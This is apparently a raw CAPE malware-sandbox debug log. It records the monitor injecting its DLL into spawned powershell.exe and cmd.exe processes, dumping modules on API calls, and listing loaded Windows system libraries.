2019-08-13 23:46:23,380 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:46:23,380 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013FA40000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:23,380 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2100_577306386236614382019
2019-08-13 23:46:23,395 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CDOLYY790C64OE64LHER.temp" does not exist, skip.
2019-08-13 23:46:23,395 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:23,395 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x0000000049DB0000.
2019-08-13 23:46:23,395 [root] DEBUG: DLL loaded at 0x000007FEFE400000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:46:23,395 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:46:23,395 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:23,395 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:23,395 [root] DEBUG: DLL loaded at 0x000007FEFD560000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:46:23,395 [root] DEBUG: DLL loaded at 0x000007FEF2F10000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:46:23,411 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:23,411 [root] DEBUG: Dump-on-API: Dumped module at 0x0000000049D50000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:23,411 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:23,411 [root] DEBUG: DLL loaded at 0x000007FEFC3B0000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:46:23,411 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CDOLYY790C64OE64LHER.temp" does not exist, skip.
2019-08-13 23:46:23,427 [root] DEBUG: DLL loaded at 0x000007FEFCEF0000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:46:23,427 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2828
2019-08-13 23:46:23,427 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:23,427 [root] DEBUG: DLL loaded at 0x000007FEFD020000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:46:23,427 [root] DEBUG: DLL loaded at 0x000007FEF2570000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:46:23,441 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2688
2019-08-13 23:46:23,457 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:23,457 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x000000013FA40000, stack from 0x00000000001D5000-0x00000000001E0000
2019-08-13 23:46:23,457 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:23,473 [root] DEBUG: DLL loaded at 0x000007FEFBB00000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:46:23,473 [root] DEBUG: DLL loaded at 0x0000000074090000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:46:23,489 [root] DEBUG: DLL unloaded from 0x724F0000.
2019-08-13 23:46:23,489 [root] INFO: Added new process to list with pid: 2660
2019-08-13 23:46:23,489 [root] DEBUG: DLL unloaded from 0x75D60000.
2019-08-13 23:46:23,489 [root] INFO: Monitor successfully loaded in process with pid 2660.
2019-08-13 23:46:23,489 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:23,505 [root] DEBUG: DLL loaded at 0x72F70000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:46:23,505 [root] DEBUG: DLL loaded at 0x000007FEFE4A0000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:46:23,505 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:23,505 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:23,505 [root] DEBUG: GetHookCallerBase: thread 2656 (handle 0x0), return address 0x000000013FA4C7D9, allocation base 0x000000013FA40000.
2019-08-13 23:46:23,505 [root] DEBUG: DLL loaded at 0x74950000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:46:23,505 [root] DEBUG: DLL loaded at 0x000007FEFD1B0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:46:23,505 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:23,505 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013FA40000 main_caller_retaddr 0x000000013FA4C7D9 parent_caller_retaddr 0x000000013FA4C453.
2019-08-13 23:46:23,519 [root] DEBUG: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:46:23,519 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2968
2019-08-13 23:46:23,519 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:23,519 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:23,519 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013FA40000.
2019-08-13 23:46:23,519 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:23,519 [root] DEBUG: DLL loaded at 0x000007FEFB840000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:46:23,536 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:23,536 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x0000000049D50000, stack from 0x00000000001B4000-0x00000000002B0000
2019-08-13 23:46:23,536 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:23,536 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:46:23,552 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:23,552 [root] DEBUG: DLL loaded at 0x000007FEFC190000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:46:23,552 [root] INFO: Added new process to list with pid: 2828
2019-08-13 23:46:23,552 [root] DEBUG: Loader: Injecting process 2688 (thread 2900) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:23,552 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:23,552 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:23,552 [root] DEBUG: DLL loaded at 0x000007FEFE860000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:46:23,552 [root] INFO: Monitor successfully loaded in process with pid 2828.
2019-08-13 23:46:23,552 [root] DEBUG: Process image base: 0x000000013FA40000
2019-08-13 23:46:23,644 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2660_790331280236614382019
2019-08-13 23:46:23,661 [root] DEBUG: GetHookCallerBase: thread 2212 (handle 0x0), return address 0x0000000049D59099, allocation base 0x0000000049D50000.
2019-08-13 23:46:23,661 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:23,691 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:23,691 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x0000000049D50000 main_caller_retaddr 0x0000000049D59099 parent_caller_retaddr 0x0000000049D598F3.
2019-08-13 23:46:23,691 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013FAB7000 - 0x000007FEFF430000
2019-08-13 23:46:23,691 [root] DEBUG: Loader: Injecting process 2968 (thread 2052) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:23,691 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:46:23,707 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x0000000049D50000.
2019-08-13 23:46:23,723 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013FAC0000.
2019-08-13 23:46:23,723 [root] DEBUG: Process image base: 0x0000000049D50000
2019-08-13 23:46:23,723 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013FA40000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:23,723 [root] DEBUG: DLL loaded at 0x000007FEF7810000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:46:23,723 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:46:23,723 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:23,739 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:23,739 [root] DEBUG: DLL loaded at 0x000007FEFE400000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:46:23,786 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:46:23,786 [root] DEBUG: DLL loaded at 0x000007FEF8900000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:46:23,786 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:23,786 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0000000049DA9000 - 0x0000000077110000
2019-08-13 23:46:23,801 [root] DEBUG: DLL loaded at 0x000007FEFD560000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:46:23,801 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2688
2019-08-13 23:46:23,801 [root] DEBUG: DLL loaded at 0x000007FEFCB90000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:46:23,816 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x0000000049DB0000.
2019-08-13 23:46:23,816 [root] DEBUG: DLL loaded at 0x000007FEFC3B0000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:46:23,848 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:23,864 [root] DEBUG: DLL loaded at 0x000007FEF8AC0000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:46:23,864 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:23,864 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2828_461981385236614382019
2019-08-13 23:46:23,864 [root] DEBUG: DLL loaded at 0x000007FEFD020000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:46:23,864 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:23,864 [root] DEBUG: DLL loaded at 0x000007FEFB0B0000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:46:23,864 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:23,864 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:46:23,878 [root] DEBUG: DLL loaded at 0x000007FEFBB00000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:46:23,910 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:23,910 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2968
2019-08-13 23:46:23,926 [root] DEBUG: Dump-on-API: Dumped module at 0x0000000049D50000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:23,926 [root] DEBUG: DLL loaded at 0x000007FEFB840000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:46:23,941 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:23,941 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:23,941 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:23,941 [root] DEBUG: DLL loaded at 0x000007FEFCEF0000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:46:23,941 [root] DEBUG: DLL loaded at 0x000007FEFC190000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:46:23,957 [root] DEBUG: DLL unloaded from 0x72F70000.
2019-08-13 23:46:23,957 [root] DEBUG: DLL loaded at 0x000007FEF7810000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:46:23,957 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x000000013FA40000, stack from 0x0000000000175000-0x0000000000180000
2019-08-13 23:46:23,957 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:23,957 [root] INFO: Announced 64-bit process name: powershell.exe pid: 3080
2019-08-13 23:46:23,957 [root] DEBUG: DLL loaded at 0x000007FEFE860000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:46:23,973 [root] DEBUG: DLL unloaded from 0x75D60000.
2019-08-13 23:46:23,973 [root] INFO: Added new process to list with pid: 2688
2019-08-13 23:46:24,003 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:24,003 [root] DEBUG: DLL loaded at 0x000007FEFE4A0000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:46:24,003 [root] DEBUG: DLL loaded at 0x000007FEF8900000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:46:24,003 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:24,003 [root] DEBUG: DLL loaded at 0x000007FEFC8F0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:46:24,003 [root] INFO: Monitor successfully loaded in process with pid 2688.
2019-08-13 23:46:24,019 [root] DEBUG: DLL loaded at 0x724F0000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:46:24,019 [root] DEBUG: DLL loaded at 0x000007FEFD1B0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:46:24,019 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:24,019 [root] DEBUG: DLL loaded at 0x000007FEFCB90000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:46:24,019 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:24,019 [root] DEBUG: DLL loaded at 0x000007FEFC5F0000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:46:24,019 [root] DEBUG: GetHookCallerBase: thread 2900 (handle 0x0), return address 0x000000013FA4C7D9, allocation base 0x000000013FA40000.
2019-08-13 23:46:24,019 [root] DEBUG: DLL loaded at 0x74160000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:46:24,035 [root] DEBUG: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:46:24,035 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:24,035 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x0000000049D50000, stack from 0x0000000000074000-0x0000000000170000
2019-08-13 23:46:24,051 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013FA40000 main_caller_retaddr 0x000000013FA4C7D9 parent_caller_retaddr 0x000000013FA4C453.
2019-08-13 23:46:24,051 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:24,051 [root] INFO: Announced 64-bit process name: cmd.exe pid: 3232
2019-08-13 23:46:24,065 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:24,065 [root] INFO: Added new process to list with pid: 2968
2019-08-13 23:46:24,065 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:24,065 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013FA40000.
2019-08-13 23:46:24,065 [root] INFO: Monitor successfully loaded in process with pid 2968.
2019-08-13 23:46:24,065 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SHLCWK96V2SBIL0118N4.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\SHLCWK96V2SBIL0118N4.temp'
2019-08-13 23:46:24,065 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:24,065 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:46:24,065 [root] DEBUG: Loader: Injecting process 3080 (thread 3084) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:24,082 [root] DEBUG: GetHookCallerBase: thread 2052 (handle 0x0), return address 0x0000000049D59099, allocation base 0x0000000049D50000.
2019-08-13 23:46:24,082 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:24,082 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SHLCWK96V2SBIL0118N4.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\SHLCWK96V2SBIL0118N4.temp'
2019-08-13 23:46:24,082 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:24,082 [root] DEBUG: Process image base: 0x000000013FA40000
2019-08-13 23:46:24,082 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:24,082 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x0000000049D50000 main_caller_retaddr 0x0000000049D59099 parent_caller_retaddr 0x0000000049D598F3.
2019-08-13 23:46:24,098 [root] DEBUG: DLL unloaded from 0x000007FEFE320000.
2019-08-13 23:46:24,098 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x0000000049D50000.
2019-08-13 23:46:24,112 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:46:24,112 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:24,112 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SHLCWK96V2SBIL0118N4.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\SHLCWK96V2SBIL0118N4.temp'
2019-08-13 23:46:24,128 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:46:24,128 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2688_1766176500246614382019
2019-08-13 23:46:24,128 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:24,160 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013FAB7000 - 0x000007FEFF430000
2019-08-13 23:46:24,176 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05344.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1c05344.TMP'
2019-08-13 23:46:24,176 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:46:24,190 [root] DEBUG: Loader: Injecting process 3232 (thread 3236) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:24,190 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013FAC0000.
2019-08-13 23:46:24,207 [root] DEBUG: Process image base: 0x0000000049D50000
2019-08-13 23:46:24,207 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:46:24,207 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013FA40000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:24,207 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2968_562472360246614382019
2019-08-13 23:46:24,207 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:24,207 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:24,207 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SHLCWK96V2SBIL0118N4.temp" does not exist, skip.
2019-08-13 23:46:24,207 [root] DEBUG: DLL loaded at 0x000007FEFE400000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:46:24,207 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:46:24,221 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:24,221 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0000000049DA9000 - 0x0000000077110000
2019-08-13 23:46:24,221 [root] DEBUG: DLL loaded at 0x000007FEFD560000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:46:24,221 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3080
2019-08-13 23:46:24,221 [root] DEBUG: Dump-on-API: Dumped module at 0x0000000049D50000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:24,221 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x0000000049DB0000.
2019-08-13 23:46:24,237 [root] DEBUG: DLL loaded at 0x000007FEFC3B0000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:46:24,253 [root] INFO: Process with pid 2996 has terminated
2019-08-13 23:46:24,253 [root] DEBUG: DLL loaded at 0x000007FEF2F10000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:46:24,253 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:24,253 [root] DEBUG: DLL loaded at 0x000007FEFCEF0000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:46:24,253 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:24,253 [root] DEBUG: DLL loaded at 0x000007FEFD020000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:46:24,253 [root] INFO: Process with pid 2208 has terminated
2019-08-13 23:46:24,269 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SHLCWK96V2SBIL0118N4.temp" does not exist, skip.
2019-08-13 23:46:24,269 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:24,269 [root] INFO: Announced 64-bit process name: powershell.exe pid: 3484
2019-08-13 23:46:24,269 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:24,285 [root] DEBUG: DLL loaded at 0x000007FEFBB00000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:46:24,285 [root] DEBUG: DLL loaded at 0x000007FEF2570000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:46:24,285 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:24,285 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3232
2019-08-13 23:46:24,299 [root] DEBUG: DLL loaded at 0x000007FEFB840000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:46:24,299 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:24,315 [root] DEBUG: DLL loaded at 0x0000000074090000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:46:24,332 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:24,332 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:24,332 [root] DEBUG: DLL loaded at 0x000007FEFE4A0000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:46:24,332 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:24,332 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:24,346 [root] DEBUG: DLL unloaded from 0x724F0000.
2019-08-13 23:46:24,378 [root] DEBUG: DLL loaded at 0x000007FEFD1B0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:46:24,378 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:24,378 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x000000013FA40000, stack from 0x0000000000265000-0x0000000000270000
2019-08-13 23:46:24,378 [root] DEBUG: DLL loaded at 0x000007FEF7810000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:46:24,378 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:24,378 [root] DEBUG: DLL unloaded from 0x75D60000.
2019-08-13 23:46:24,378 [root] DEBUG: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:46:24,424 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:24,424 [root] INFO: Added new process to list with pid: 3080
2019-08-13 23:46:24,424 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:24,424 [root] INFO: Monitor successfully loaded in process with pid 3080.
2019-08-13 23:46:24,424 [root] DEBUG: Loader: Injecting process 3484 (thread 3488) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:24,440 [root] DEBUG: DLL loaded at 0x000007FEFC190000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:46:24,440 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:24,440 [root] DEBUG: GetHookCallerBase: thread 3084 (handle 0x0), return address 0x000000013FA4C7D9, allocation base 0x000000013FA40000.
2019-08-13 23:46:24,456 [root] DEBUG: Process image base: 0x000000013FA40000
2019-08-13 23:46:24,456 [root] DEBUG: DLL loaded at 0x000007FEFE860000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:46:24,456 [root] DEBUG: DLL loaded at 0x000007FEF8900000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:46:24,456 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013FA40000 main_caller_retaddr 0x000000013FA4C7D9 parent_caller_retaddr 0x000000013FA4C453.
2019-08-13 23:46:24,471 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:24,471 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x0000000049D50000, stack from 0x00000000001D4000-0x00000000002D0000
2019-08-13 23:46:24,471 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:24,487 [root] DEBUG: DLL loaded at 0x000007FEFCB90000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:46:24,487 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013FA40000.
